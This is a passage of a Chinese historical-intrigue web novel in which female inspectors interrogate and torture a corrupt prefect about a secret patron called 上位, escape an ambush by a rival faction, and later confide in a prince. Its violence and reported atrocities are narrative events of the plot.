虞水跳进囚车里,抬起腿就给章玉良胸口一脚。踩得章玉良叫都叫不出来,捂着胸口直吐血。
紧接着她又踹了一脚。
她沉默地打人,把章玉良的老命快踩没了。
“虞千户!”兰见春在外面干着急,“再打人命就没了!”
虞水这才收手。她泄了口气,指着章玉良:“再让我听见一次,给你牙都拔了。”
章玉良抱着脑袋,呼喊道:“大人饶命!”
“贱货。”虞水指着他骂道,随即跳下囚车,站在兰见春面前,戳她胸口,“你是呆子吗?”
兰见春窝窝囊囊地说:“我不知道还能这么干。”
“男人都是贱得发痒的货色,”虞水侧眼盯着她,“这种人,你不总跟他争论,打就是了,只要不打死,怎么都行。”
“我错了我错了!”章玉良捂着胸口,“两位大人放过我吧!下次不敢了!”
“你看他还想有下次。”虞水再踢了一脚囚车,骂道,“贱货。”
兰见春在一边点头。没想到跟别人说话时总细声细语的虞水居然打起人来这么狠,她又震惊又感激。
虞水推了她一把:“点名去,这边我盯着。”回头指了章玉良一下。
屹王送回来的第一批犯人里,章玉良是官位最高的,大多数都是并州的官。名册上写章玉良贪了八千多两,实在骇人听闻。兰见春回想他在丘州干的丑事,又觉得这数少了。
她没看见庄典。
“虞千户,都点完了,人都对上了。”兰见春把名册还给虞水。
她翻了翻名册,转头朝萧成功伸手,那人把囚车钥匙都交给了她。
城门早就开了,晦朔司的绛甲卫早就等候在此。兰见春牵马,跟在虞水后边把队伍带进了京城。
直到城门关闭,萧成功才回程。
28. 审问
“八千多两白银,你是貔貅吗?这么能吃?”吴泪一把将手上的账册扔了出去,正好砸在了章玉良的左眼角,割出了个口子。
“哎呦呦!”章玉良疼得龇牙咧嘴,“不光我,潼裕的官都这么贪!”
兰见春赶紧帮她把账册捡起来,还给了吴泪。忽然,她听见了一阵脚步声,她警惕地看审讯室外,等了片刻,还是有些害怕。
今天她们是审问章玉良的,要是让晦院的人发现可就遭了。
虞水抬头看她,疑惑地抬了抬眉毛。
兰见春口型说:“有人。”
虞水摇头,意为没事。她们来之前,早就让甲处其他人在外面放哨。
“哦?”吴泪双臂抱在胸前,“那你细说,都谁这么贪了?”
章玉良眼珠子疯狂地转悠:“我,并州的那几个……”
吴泪问:“你是说并州知府李纳吗?”
“对,他算一个。就夏天那场水灾,他可拿的比我多!”章玉良说,“朝廷拨了六万两赈灾银,他一个人就拿了两千!两千!一个人!我才敢拿五百,结果被押到京城受罪的是我!”
吴泪问:“李纳人呢?”
“死啦。”章玉良擦擦额角的血,“还没等屹王抄家,他就带着老婆孩子往力剌跑了,结果道上遇见一波土匪,谋财害命啦。”
吴泪问:“潼裕还有土匪?”
“哪个地方没土匪?”章玉良咋舌,“潼裕这鬼地方旱涝多发,流寇多得很,夏天闹了场水灾之后,丘、并二州流寇更多了。”
吴泪与虞水对视一眼,虞水问章玉良:“朝廷每年给屹王军比给辽北、岭南等地多二成的军费,专门用来剿匪。结果你说,潼裕流寇泛滥,这就是给屹王扣了个玩忽职守的帽子。”
“我刚才都说了,是流寇。”章玉良说,“大人,你知道何为流寇么?那就是一伙伙的游民,拿上镰刀往路口一坐就开始抢,撂下就开始烧火做饭,跟普通农户没什么区别。这要抓,抓的完吗?连个像样的山头都没有,咋抓啊?”
吴泪说:“既然他抓不住,为何年年向上京报潼裕安定?”
“诶——”章玉良说,“大人,力剌人没南下吧?我朝土地没丢吧?”
吴泪不说话。
章玉良大喊:“那就是太!平!盛!世!”
兰见春抬眸恶狠狠地盯着他。
“你们不用这样盯着我,大人们,潼裕就这样。”章玉良说,“所谓太平盛世,就是没有外敌入侵,富贵人家过上比以往更富贵的生活,百姓过得如何?没人关心。”
吴泪骂道:“胡说八道。”
章玉良嗤笑:“你们晦朔司的女人,个个都没认清事实呢,还以为太平盛世就是天下为公——不对的,醒醒吧!屹王杀一个算一个,那就是替天行道。”
吴泪冷笑:“你收了他不少好处吧?”
章玉良摆了摆手:“我多大面子,至于让堂堂皇子下功夫收买我?”
吴泪又问:“你的家被他抄了,你的家人都让他发卖了,连你自己都被他押送到了京城,你马上就要上断头台了,你还在为他歌功颂德。屹王给了你什么好处?”
章玉良眨巴眨巴眼:“你说什么?”
吴泪沉默,说过的话,她是不会重复第二遍的。
章玉良一瞬间酒醒了:“他发卖了……我的家人?”
吴泪给兰见春一个眼神,她便翻开了晦朔司线人送来的章玉良家眷去留册,念道:“长子充屹王军,于冬月十日被拖于车后而亡;次子充屹王军,于冬月十二日叛逃被杀……”
章玉良惊呼:“不可能!”
兰见春继续念:“其第三子因未满十五,卖入越仙居为奴,每日接客约十五人等,于冬月七日力竭而亡……”
章玉良奔向吴泪,但因脚上带着镣铐而摔倒。他使劲扒拉地面,指甲都掀起来了,他浑然不觉,仍大叫:“不可能!他答应了我……他答应了我!”
兰见春看向虞水,虞水眨眨眼,示意她继续念:“其妻、长女、次女均入屹王军为军妓,每日接客约二十五人等,其妻、次女自尽,长女苟活至今,但身染花柳病,命不久矣。”
章玉良骂:“骗子!你们这群骗子!别以为你们编点假消息,就能逼我——”
吴泪从袖中拿出了两块沾着血的玉佩。章玉良看清之后,顿时傻了眼。
“一块是从你小儿子的口中取出来的,另一块是从你小女儿的胃中取出来的。”吴泪走过去,让章玉良把它们看清楚,“认得吧?上面还有你亲手刻的字呢。‘尖尖’这名字……你很疼你的小女儿吧?”
“给我!”章玉良的叫声如凶兽的嘶吼,张开爪子就要抢,吴泪一个闪身,躲开了他这一击。
“有些人出尔反尔,你真没必要信他。”吴泪弯下身,问章玉良,“我猜,是有个人答应了你,如果你在晦朔司中把所有罪责都担下来,他就会帮你照顾你的家人,对不对?”
章玉良大声喘气,双眼猩红,一直说:“给我,给我……”
吴泪问:“你背后的靠山,是不是屹王?”
章玉良:“给我……”
吴泪逐渐失去了耐心:“与你分赃的人,是不是屹王?!”
章玉良大吼:“给我!给我!给我!”
吴泪抬脚踹了他一脚,拿着两块玉佩,站在了火盆边:“最后再问你一遍,放纵你们在潼裕作威作福的,是不是屹王?”
章玉良跪了下来,痛哭道:“不是……”
虞水、兰见春猛地抬起头看他,吴泪还以为自己听错了:“不是——不是屹王?”
章玉良使劲摇头:“不是,不是,不是……大人,真的不是屹王……”
“那是谁?”吴泪冲过去,“除了屹王,还有谁能给你这样的许诺?你的家眷全都被扔到了屹王军里,除了他,还有谁能做出来这样的事!”
章玉良趴在地上,哭道:“您把玉佩给我……”
吴泪走到章玉良身边,他爬到她裙侧:“只要您把玉佩还给我,我就告诉您那个人是谁……”
“你威胁我?”
章玉良抬眼望着她:“您也在威胁我,不是吗?”
吴泪眉头紧皱,章玉良的条件她确实心动了
“您马上就知道答案了,您舍得抛下我,再重审一个人吗?”章玉良朝她伸出双手,等她把玉佩放在自己手上,但吴泪迟迟不动。
章玉良继续说:“陛下没有下旨让晦朔司继续审潼裕贪腐案吧?吴大人,你私自审我,分明是抗旨。”
兰见春看向吴泪,她刚反应过来,现在在大牢中审问章玉良的只有她们三个人,晦院的人一个都不在。
吴泪偷着审的人。
她要干什么?悖逆皇帝的旨意,私自调查萧回,她的目的是什么?
吴泪不是最遵守晦朔司规矩的吗?
吴泪双臂抱在胸前,低头抬眸盯着他,像一只蓄势待发的鹰。
章玉良说
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:“你一直在问,我是不是屹王的人,你为何单抓着屹王不放?难道你是岷王的人?难道你——”
吴泪是萧沃的人?兰见春心说,要真如此,萧沃怎么会不跟自己说呢?
章玉良倒在地上,继续攀咬吴泪:“岷王落个什么下场,你还投于岷王门下,傻啊……”
吴泪反问:“我何时承认过,我是岷王门下?”
章玉良指着她的鼻子:“你就是!你帮着他对付屹王!”
吴泪给了虞水个眼色,虞水从火盆里夹了块炭,径直向章玉良走去。章玉良知道她要做什么,使劲挣扎,虞水扯着他衣襟,一把将人拽了过来,捏着他下颌,把烧红的炭填了进去。
等兰见春闭眼已经来不及了,她看见章玉良黑漆漆的嘴渗出血,痛哭地伸着手,仍试图去抢吴泪手中的玉佩。
兰见春侧眸看他的惨相,她只觉得解气。乡邻们被杀的时候也这样求那些人放过,结果呢?赶尽杀绝。
章玉良可怜,更可恨。他应该死得更惨些,将天下的酷刑都经历一遍才好。
虞水下手很准,这块炭不会让章玉良昏过去,但足够让他闭嘴。吴泪很有耐心,她一直等到章玉良不闹了,才蹲下来看着他。提着玉佩在他眼前晃了晃,吩咐兰见春,把纸笔给他。
兰见春把纸笔摆在章玉良面前。吴泪点了点纸:“我问什么,你答什么。都答完,我就把玉佩还给你。”
章玉良不再叫嚣,点头。
“那个人是谁?”
章玉良写:“不知,但呼‘上位’。”
兰见春站在最远处,勉强能看清章玉良写了什么。——“上位”,不是只有皇帝才能称“上位”么?难道耍他的是皇帝?
“是陛下吗?”
章玉良写:“否。”
“他答应了你什么?”
章玉良:“担罪责,保全家。”
“李纳与流寇又是怎么一回事?”
章玉良:“李纳欲告发‘上位’以自保,终为其所杀。”
“关于你说的那个人,知道多少?”
章玉良:“纳为我引荐,我知其非帝非王,但可助人升官发财。手下有死士两百……”
之后,章玉良竟在纸上做起画来。兰见春不由自主地往前凑了凑,看清了他所画之物——外轮廓为一只眼睛,而瞳仁里又有一只眼!
与何瑞生给她的那个符号一模一样!
章玉良在符号与‘上位’之间画了一道连线,意思是这就是‘上位’的符号。
害何瑞生的,十有八||九就是“上位”,下手屠村的,莫非也是“上位”?
兰见春冲了过去,抢过章玉良的笔,在纸上写下了“何瑞生”三个字。
吴泪与虞水都惊讶地看着她。
看到何瑞生名字的那一刻,章玉良明显一怔。兰见春指着亡夫的名字,焦急地问:“认得吗?”
章玉良僵住,傻傻地望着兰见春,在回忆自己是不是在哪见过她。
兰见春随即又写了“羌榆”、“吴沟村”,章玉良眼神躲闪,他在害怕。
兰见春又写“屠村”、“力剌”,章玉良赶忙闭上了眼睛,连忙摆手。
吴泪看出了不对劲,喃喃道:“他什么都知道。”
兰见春压抑地问:“说啊……你知道什么?”
章玉良触电似的一直摇头,最后变成了颤抖。
忽然,门外响起了连云栈的声音:“吴泪,你在干什么?”
29. 残杀
连云栈一直敲门:“吴泪!开门!”
兰见春听见了她抽刀的声音,赶紧对吴泪说:“同知!她要破门!”
吴泪抓住章玉良的衣领,逼问:“说啊!”
章玉良一直摇头,他不敢再说了。
“吴泪!你这是抗旨!开门!”连云栈用刀砍门锁,虞水提过烙铁插在了门上。
“到底是谁?你说,章玉良,你认得他,你快说……”兰见春恳求道,“你快说啊……”
章玉良盯着她琥珀色的眼睛,终于想到了她是谁。他动了动嘴,说的什么不清楚。
门外的连云栈仍执着地砍门,她嫌弃速度太慢,扔了它竟开始踹门。她力气太大了,虞水就快挡不住了。
兰见春把笔到他手里,说:“只要你写,是,或者不是。”
章玉良看着她,仍不动笔,他知道,一旦承认就完了。
“我既然这么问你,我就一定知道些什么。”兰见春说,“你只要给我一个答案,是、或者不是。”
章玉良垂眸看那张纸。
吴泪说:“你想要的玉佩还在我手里,你已经说了这么多了,不能前功尽弃,对不对?”
“吴泪!你在干什么!”连云栈疯了似地踹门,“章玉良!她们是违律审问,你被人当枪使了!”
虞水用头顶着门,她快坚持不住了。
“你生在羌榆,长在羌榆,是我朝建立以来,羌榆唯一一个进士及第。”兰见春望着章玉良的眼睛,“我不信你读书、科举就是为了成为现在这样一摊烂泥,我明白,你一定有你的苦衷,对不对?”
章玉良泪如雨下。他这一路上挨了太多人的白眼,连他自己都快忘了自己来时的路,自己曾经又是怎样一个怀抱理想、意气风发的少年郎。
兰见春用羌榆话说:“章大人,请你为了……为了家乡父老,再做回那个父母官。好吗?”
霜风染华发,那堪耳畔乡音传。
章玉良笑了,他提笔在纸上落了一横。兰见春期待地看他的下一笔,突然“砰”地一声:“吴泪你这是越俎代庖!”
吴泪赶紧把章玉良写过的状词抢过来,塞进了怀里。
兰见春懵然,章玉良还没有回答她的问题,连云栈就硬闯进来了。她气势汹汹地冲进审讯室,居高临下地瞪着她们。
“司丞只是让朔院接囚犯回京,并没有让你们参与审问。”连云栈指着吴泪的鼻子,“何况抓捕、审问本就是我晦院的职责,犯人到我晦院大牢中,我还没问他,你倒是跑得快!”
连云栈年纪比吴泪大,气势也比吴泪强,声音回荡在审讯室内,兰见春||心都颤悠。
吴泪拉着兰见春站起来,直视连云栈的眼睛,说:“你我平级,你没资格对我颐指气使。”
“顾左右而言他。”连云栈说,“今日就算司丞来了,也保不了你。”
吴泪把兰见春拉到自己身后,问连云栈:“你偏要在这时候闯进来,你居心何在?”
连云栈都惊了:“这是我的晦院!我什么时候来,还需要挑时间吗?”
吴泪嗤笑:“连云栈,我一直都看不懂你。”
连云栈:“你没必要看懂我。”
“你总是在帮不该帮的人。”吴泪看着她的眼睛,“你总是。”
连云栈皱起眉头:“什么意思?”
吴泪说:“我知道我有错,但你错的更离谱。好,你不是要告诉司丞吗?你大可去告发我!但我要做什么,你不会知道的。”
连云栈走到吴泪跟前,小声说:“你有什么底气,跟我这么闹?”
吴泪说:“我有良心。”
连云栈气笑了:“你胆子真大。”
“总有一些事,需要我们来做!”吴泪咬着牙说,“为何会有晦朔司?朝廷为何给我们监察权?连云栈,晦朔司不是为我们牟利的工具,这世上还有天理!”
连云栈向她伸出手:“来,给我看看,你查出了什么。”
吴泪盯着她的眼睛,终失望地摇摇头,走到虞水身边,把她扶了起来,兰见春快些跟上。
“不能让她们走。”连云栈吩咐门外的侍卫,“今天朔院的人,一个都别想离开晦院。”
吴泪问她:“目前司丞不在京城,你要私自囚禁我们吗?”
连云栈:“有些人能不管不顾地跑到我的地界来,现在还要指摘我的错处。我不过是以其人之道还治其人之身罢了。吴泪,这是你自找的。”
兰见春闻见了血味,她看向牢门口,血味从外面飘进来,说明连云栈在进来的时候,就把她们在外盯梢的人都杀了。
“今日晦院大牢进了盗贼。”连云栈朝她们抬了抬下巴,比了个“杀”的手势。
她的手下纷纷亮出了钢刀。
兰见春瞪大了眼睛:晦院的人都是刺客,她们三个人不可能打得过……
吴泪质问:“司丞不在,你胆敢私自处决我?”
连云栈笑得天下太平:“正因为司丞不在。”
话音刚落,晦院的人就提刀杀了上来。虞水与兰见春纷纷从靴子里掏出来匕首,吴泪则从腰带内侧旋出一块刀片。虞水与吴泪轻车熟路地躲避长刀的攻击,而兰见春是第一次见这种场面,笨拙地向后退,吴、虞二人则挡在她身前,三人边打边向门口退。
钢刀在昏暗的牢房中划出道道寒光,好像一道道闪电,虞水抬起匕首格挡,刀刃相接,擦出点点火星。
虞水面前围了六个刺客,甬道狭窄,她与吴泪相互配合,躲过了她们的数次进攻。吴泪两只夹着刀片,刹那间,就能取了那些刺客的性命。
兰见春眼神活泛,她伺机捡起一把钢刀,伺机递给了虞水。恰好在她转头的时候,又一个刺客冲上来,吴泪夹着刀片,反手划伤了那人的手腕,为虞水拦下了这一击。
兰见春脸色惨白,手抖得厉害。刀锋数次贴着她的脸飞过去,掀起的风浪让她汗毛倒竖。全靠虞水和吴泪的掩护,她才没被乱刀砍中。
这般场景,兰见春感觉好像回到了吴沟村被屠的那一天。“力剌人”气势汹汹地闯进来,飞过来的刀像鲥鱼鱼刺一样密。
三人背靠着背,艰难
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地向牢门口挪动,她们的空间被晦院的人不断压缩。
忽然,她们都听见了刀刺入人血肉的声音,之后是虞水压抑的换气声。她左臂上裂开了一道深可见骨的口子,鲜血霎时染红了衣袖。
“虞水!”吴泪惊叫。
“别管!退!”虞水咬紧牙关,反手将刀狠狠刺进那个刺客的肩窝,暂时逼退了敌人。
连云栈站在远处,抱着双臂,冷眼旁观,她仍旧笑着。吴泪她们不可能逃出去的,大牢前后都是晦院的人。
她们三人还有十步就靠近了出口,生机在望!
这时,一名刺客佯攻吴泪正面,引她用刀片攻击。同时,另一名刺客的刀从她的侧后方出击!
“同知小心!”
吴泪察觉异样,但正面被牵制,完全来不及闪避!
就在这时,虞水猛扑过来,狠狠撞开了吴泪,挡在了吴泪和刀之间!
——长刀贯穿了虞水的胸膛。
“虞水!”吴泪目眦欲裂,她眼睁睁看着虞水为自己而死,她的心都停止了跳动。
兰见春张开了嘴,泪水汹涌而出,昨天还好好的一个人,今天就死在了她面前。
虞水不知从何而来的力气,她死死攥住了刺客持刀的手腕,对吴泪、兰见春说:“快跑……”她嘴唇翕动,突出了一大口鲜血。
连云栈指着她们大吼:“杀!”
“走!”吴泪一把抓住兰见春,努力向后退。此时又有一批刺客冲上,兰见春用匕首为吴泪挡下了这一刀。
她们大跨步向后退,晦院的人紧追不舍。她们都已经精疲力尽,如果外面全是晦院的人,那她们今日必死无疑。
前有狼后有虎,无论如何,她们都没法再退了。
晦院的人踩着虞水的尸体杀过来,兰见春的胳膊顿时生出一股力,提起匕首奋力砍下了那人提刀的手!
再次为她们两个抓到了外逃的机会。
月光从门口投射到屋内来,还差两寸,还差一寸,还差半寸——
兰见春与吴泪一同逃了出来!
与院中的乔竹心六目对视。
“司丞!”吴泪跪了下来。
连云栈以为自己听错了。
兰见春也跟着吴泪跪。
乔竹心恨铁不成钢地闭上了眼睛,提起裙摆走进了牢房。她站在甬道尽头,目光穿过一路的尸体,看向了另一头的连云栈。
连云栈惊愕、慌乱,根本没想到乔竹心会在此时突然出现。她紧张地退后一步,手中紧握的刀微微下垂。
月光落在乔竹心脸上,她一半身体映在洁白的月光下,另一半则湮没在黑暗中。她静静地看着连云栈,吴泪查到了什么,她不关心,连云栈为何一定要杀吴泪,她也不关心。她关心的是这场战斗是哪一方赢了,吴泪所执着的“真理”,是否找到了。
或许她应该按照游戏规则,等一方杀掉了另一方,再来坐收渔利。但她没有,她不想像皇帝那样残忍,她早早等在牢房外时,她就已经做出了选择。
“你不该杀吴泪。”她冷静地说。
30. 密谈
这一晚晦院大牢里发生的事,乔竹心选择秘而不宣。
她把吴泪带走了,而章玉良留给连云栈处置,而虞水,按病故处理。
吴泪望着乔竹心,郑重其事地说:“她不是病故,是牺牲。”
“那也是为你而死,不是为陛下而死。”乔竹心说,“是你亏欠她,不是朝廷亏欠她。我不可能以朝廷的名义为她发丧,晦朔司这点丑事,我们自己知道就够了!等着让前朝看笑话吗!”
吴泪争道:“连云栈不忠!”
乔竹心质问:“那你呢?”
吴泪:“我办案只凭良心。”
“你知不知道,当初反对屹王查贪的那帮人,无一例外全遭贬谪!你现在还敢查屹王,你就不怕被划成岷王党,丢了性命!”
吴泪:“可让我眼睁睁看屹王粉饰太平,我做不到。”
乔竹心问:“你哪只眼睛见屹王粉饰太平了?你查了他那么久,有什么蛛丝马迹吗?”
“章玉良说,有人承诺保住他的家人,指使他担下所有罪责。他说,他能一路做到丘州知府,全都是靠‘上位’的提携。但这‘上位’,不是陛下也不是屹王,而是一个与屹王有着千丝万缕关系的人!”
乔竹心:“这个人是谁?”
“章玉良没说。”吴泪泄了口气,跪下,恳求道,“求您让我继续查下去,把所谓的‘上位’揪出来。”
兰见春也一同跪下:“求司丞做主。”
乔竹心望着吴泪,她那么坚定,那么嫉恶如仇,正直得不像是一个晦朔司的女官。乔竹心叹息道:“你这是要跟屹王作对,你可知他身后都是些什么人?”
吴泪抿紧嘴唇:“我知道。”
乔竹心不敢相信:“你还是要这么做吗?”
吴泪:“对。”
乔竹心百思不得解:“你这么做,就会变成岷王党。他恐怕都不知道,你能与无冤无仇的屹王斗成这样!”
吴泪说:“我与岷王并无关联。”
“我知道,但别人不知道。敌在明我在暗,日后你被人泼脏水,你都无计可施。”乔竹心问,“为什么不能睁一只眼闭一只眼呢?!”
吴泪说:“为了道义。”
兰见春头快埋到了尘埃里,以掩藏流出的眼泪。
吴泪:“他们做了恶,我没办法坐视不理。屹王今日查贪,那就是为他自己干的丑事找替罪羊。没人会信自己查自己能查个干净,‘屹青天’不过是他演的一出戏!”
“你赢不了。”乔竹心转身扶着桌案,留下一声长长的叹息,“好良言难劝该死的鬼,我不会同意你继续查的。但若你非要做,我不拦,我护不住你,岷王更不可能护住你,你自求多福吧。”
吴泪擦干眼泪:“多谢司丞救命之恩,下官无以为报。”
乔竹心小声说:“走吧。”
吴泪向她作揖:“下官告退。”
兰见春随她离开了乔竹心的书房,这一路上,吴泪一句话都没有跟她说。等回到吴泪自己的房间,关上了门,她才给兰见春斟了一杯茶。
兰见春接过来,有些懵。
“没毒,喝吧。”吴泪给自己斟了一杯,喝干净之后,颤颤巍巍地坐了下来。她眼圈顿时就变红了,眼泪夺眶而出。
兰见春伸出手,像摸摸她的肩膀,到了一半又收了回去,这不合规矩。
“我与虞水是同一年进晦朔司,一起被分到了朔院。我与她素不相识,但我们是一样的人,我们都相信,凭自己就能改变这官场……这么多年,我们都一起查案。
“同期有的回家结婚生子了,有的溜须拍马只为调到晦院,结果被连云栈拉去当替死鬼了。那一年进晦朔司的,只有我跟她留到了现在。她于我而言,已经不是同僚那么简单了,更像是手足亲人。
“天下为公,是,章玉良说的对,我们梦的就是天下为公。可笑吗?古代圣贤,哪个不说为万世开太平?我们费劲心力进了晦朔司,难道只是为了给皇帝当一把杀人的刀吗?!”
兰见春说:“不是。”
“对,我们不能只做一把刀。”吴泪深吸一口气,“但虞水成为了我的刀。”
兰见春最终还是把手搭在了她肩膀上,她的嘴太笨了,根本不知道说什么能安慰吴泪。
“司丞提拔我,就是为了制衡连云栈。”吴泪说,“上一任朔院同知,就死在了她手里。”
兰见春说:“今天,她确是有斩草除根的意思。”
吴泪坚定地说:“她有二心,这么多年,她暗地里一直与司丞作对,她想取而代之。”
兰见春听不太懂她说什么。
“我知道,你是岷王的人。”吴泪抬头望着她,“晦朔司最忌讳与皇子有关联,一旦被发现,等着我们的就是死路一条。”
兰见春收回了手,担忧地望着吴泪。
吴泪:“原本,你是要进连云栈的晦院,是司丞改了名册,将你划到了我朔院门下。起初,我并不欢迎你,将你分去烧废件,想把你排挤到朔院之外。
“后来虞水告诉我,你偷偷把潼裕的废件都藏了起来。我才发现,你与我想象中的不一样,岷王也与我想的不一样。直到今天,我才知道你为何进晦朔司,岷王又为何托举你进晦朔司。”
兰见春说:“殿下要我进晦朔司,并非为了争储,而是……查清谁才造成潼裕惨案的幕后黑手。”
吴泪说:“我与大殿下并无私交,但我敬佩大殿下。他是会为了道义而舍命的君子,这种人,别说在皇室,在整个官场都很少有。”
兰见春点头:“同知也是这样的人。”
“我没殿下那么大胆子,”吴泪握住她的手,“但你丈夫和乡邻的事,我一定不会坐视不理。”
兰见春哽咽了:“谢谢同知。”
吴泪小声说:“告诉我,吴沟村发生了何事?”
兰见春把自己的经历一五一十地告诉了她,还解开了自己的衣服,把藏在胸衣里的何瑞生的遗书拿了出来。
吴泪看着何瑞生与章玉良画出来的一模一样的符号,咬紧了下唇。
“何瑞生的死,就是‘上位’干的。”吴泪举着浸染血迹的遗书,说,“他发现了这个,‘上位’绝对不会留他的命。吴沟村被屠,绝对不是被何瑞生牵连所致。”
兰见春问:“同知这是什么意思?”
“你们村,绝对有其他人知道这个秘密。”吴泪问她,“你再想想,有没有什么蛛丝马迹,或者……在哪里见过这个符号?”
兰见春看着纸上的两只眼睛,她怎么想,都想不出在那里见过。她细细回忆屠村那日的情形,从她带着人下山,再到他们抬着木材回狐仙庙……
“那天,我们村里的货郎一直在说,‘都是蛮子带来的灾’。”兰见春看着吴泪,“他走街串巷买的货,好多都是从力剌倒卖来的玩意。难道是……他看见了什么不该看的?”
吴泪问:“过去他说这句话吗?”
兰见春摇头:“那天他很反常。还
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一直问我,瑞生还能不能回来。好像,他知道……瑞生不能活着回来一样。”
吴泪问:“这货郎能从力剌倒来东西?”
兰见春点头:“我们村与力剌接壤,在边疆互相换点东西卖,也属正常。”
“边疆……”吴泪说,“两军对垒,官方没开互市。民间有些小交易倒也无可厚非,但如果说,你们村的货郎在与力剌人交易时看到了什么……”
兰见春说:“莫非这‘上位’与力剌人也有交易?”
吴泪顺着她说:“所以他们才这么急不可耐地杀人灭口。”
站在“上位”的角度来说,杀何瑞生一人,可比杀吴沟村全村人容易得多。但他们仍下手来杀,说明“上位”怀疑,吴沟这个边陲小村,人尽皆知他的秘密。
那么兰见春的猜测,就很有可能是真的。
“潼裕的水比我想象的还深。”
兰见春想了想,说:“擢选大考之前,我遇上了刺杀。”
吴泪问:“难道也跟‘上位’有关系?”
“那些刺客的身上都有碗大的烫伤疤,”兰见春指着眼睛符号,“我怀疑他们身上有这个纹身,但怕被人发现,又把它烫掉了。”
吴泪:“他们不想让你进晦朔司……”
兰见春问:“难道是因为我是吴沟村人?”
吴泪摇头:“你可知,当初陛下为何要加试?”
兰见春想起了那两只豹子、易咏和灵晔。
“原本你和灵晔加试就够了,偏偏要把易咏扯进来。晦朔司不是养不起人,可当你们联手杀了一只豹后,陛下还要放第二只,为什么?你可有想过?”
兰见春摇头。
“灵晔和易咏,都是屹王的人。”
兰见春惊讶得说不出话来。
“于陛下眼里,那场加试就是岷王与屹王之争。最终你赢了,说明天命选择了岷王,而非屹王。”
兰见春问:“所以,陛下才没有下旨废了大殿下吗?”
吴泪摇头:“大殿下不肯低头,陛下原本是要废了他。可就在汪琢去宣旨那天,大殿下竟认错了。”
正是自己偷偷去宗正寺看望他那天。
“大殿下之前态度强硬,不知道为什么,偏偏在那天低了头。废王的消息没有走漏,他怎么知道那天是他最后的机会?”
兰见春垂眸,说:“我也……不知道。”
吴泪:“或许……这就是命吧。”
吴泪感叹道,她把她手下的章玉良证词给兰见春,“我得罪了连云栈,往后不知道什么时候就掉了脑袋。以防万一,你须亲手把这些证词给大殿下。”
兰见春点头。
“我们现在说什么,都只是猜测。往后也没办法再接触到章玉良,这是个死结。”吴泪遗憾地说,“今日甲处除了你我全军覆没,这事不能在晦朔司查了,我不能连累朔院其他人。”
兰见春问:“那同知打算怎么办?”
“偃旗息鼓。”吴泪说,“你还回你的废件室烧信,记得,关于潼裕的全记下来,一切照旧。今夜的事,就当没发生过。”
兰见春点头。
吴泪说:“我不是不查了。我会偷偷给你递消息,你再把消息递给大殿下。”
兰见春:“嗯。”
“好,”吴泪说,“你回吧……回去休息吧。”
兰见春离开吴泪的房间,她忍不住往大牢的方向看,那里现在就恢复了原样,好像什么事情都没发生。
31. 生病
兰见春星夜回家,她推来了门,便累得瘫在了地上。她背靠着小门,使劲地眨眼睛,打架的时候溅进去了血,好不舒服。
她望着院里枯萎的槐树,莫名想到了虞水临死前的模样。她迷惘的眼睛望着自己和吴泪,然后被晦院的人踩过去,她最后是被活活踩死的,好绝望。虞水为她整理衣襟的模样还在眼前,人就这么草率地没了。
她蜷起膝盖,把头埋进臂弯,呜呜地哭。
忽然有人敲门,是萧沃:“兰夫人?”
“大殿下?!”兰见春撩不开眼皮,头昏昏的,沉沉得向前栽去。
门外的萧沃听见“扑通”一声,他焦急地使劲拍门,可另一边就是没人应答。
萧沃知道她就在门的另一边,但任凭自己呼喊,她都不给开门,兰见春不是会把他锁在门外的人。他心里发慌,直接绕到门旁边,双手扒着墙,骑到了墙头上,却见兰见春倒在雪地里。
“兰夫人!”他大喊,翻身跃||进了院中,一把捞起兰见春,把人扛在了肩膀上,赶紧跑进了屋里。
萧沃把她的披风扯掉,把人撂在了床上。他伸手摸了摸兰见春的额头,好烫……
“你发烧了。”萧沃帮她把鞋子脱掉,又给她盖上了被子、掖好被角。被子是他之前差嬷嬷帮兰见春换过的、新的,又轻又暖和。
过了好久,兰见春终于睁开一只眼:“你怎么在这?”
萧沃坐在一边的板凳,用火筷子扒拉火盆,说:“当然是见义勇为——有人差点冻死在自己家门口。”
“我吗?”兰见春捂住脑袋,又问,“这个时辰……殿下为何路过我家门?”
萧沃叹了一声,望着她似有所言:“我?……被夫人赶出来了。”
“啊?”兰见春以为自己烧糊涂了,直接坐起来了,“谁?”
萧沃把手揣进了袖子里,窝窝囊囊的:“岷王妃。”
兰见春一听这个就不糊涂了,她完全睁开了眼睛:“你有家室?怎么从来没听你提起过?”
萧沃看着火盆,想了想,说:“我跟她的事又臭又长,你确定要听吗?”
兰见春看着他的眼睛,脑袋在一瞬间空白。在听到萧沃有家室的一瞬间,她确定自己是失落的。这个“又臭又长”的故事,她又感兴趣,又怕听见自己不想听的东西。
“你想说,就说吧。”兰见春别过眼,抓紧了被角,把自己裹得更严实些,如果听到了她不想听的东西,她就钻进去,再也不出来。
“她是我表妹,我们就是名义夫妻。她有个青梅竹马,俩人感情特别好,都定亲了。父皇为了恶心舅父一家还有我,特地下了一道圣旨,让我娶已经定亲的表妹为妻。大婚当晚,我俩约定,只做名义夫妻,各自不干扰各自的生活,条件是,维护岷王府的面子。”
兰见春看向萧沃,听到他说这些,居然感觉……如释重负。
“我们结婚四年,我俩从未同床共枕,因为要给她情夫腾床位。”
兰见春忍不住笑了出来。
萧沃自己都觉得很好笑,扶着脑袋笑了好久:“简直是天大的荒唐事。”
兰见春问:“那你为什么被她赶出来了?”
“我刚出狱那天,昌宁公主来磬音楼找我,说她发现王妃红杏出墙了。”萧沃苦笑,“你都不知道,我当时有多尴尬,我就想,我还不如饿死在宗正寺里。”
兰见春问:“所以你跟她吵架了?”
“我气汹汹地回府啦,结果发现,人家正跟二相公办事呢!”
“啊……”兰见春都想把自己耳朵堵上了。
萧沃不停地笑:“我气的要炸了!你猜……你猜我怎么办的?”
兰见春讶异地看着他的脸:“你不会闯进去了吧?”
萧沃摆了摆手:“没有。”
兰见春闭上了眼睛,她真猜不到萧沃做了什么,一直摇头。
“我等她二相公完事。”萧沃还挺骄傲的,“我多体贴啊,我怕乍一下给人家身子吓坏了,以后我表妹守活寡怎么办?”
兰见春惊讶地问:“你不能出去等吗?”
“我心说,估计一会儿就完事了吧。结果,你猜怎么着?”
兰见春摇头。
“我在他们门外站了半个时辰!”
“啊——”兰见春光听就觉得臊得受不了了,“那是人吗?”
萧沃一直摇头:“我不知道啊……看着像人。”
兰见春脑子里闪过很多奇怪的画面,逐渐露出了看见怪物的眼神,好半天,她叹道:“……尤物!”
现在轮到萧沃捂脑袋了:“你竟然会觉得——诶!哎呦!”
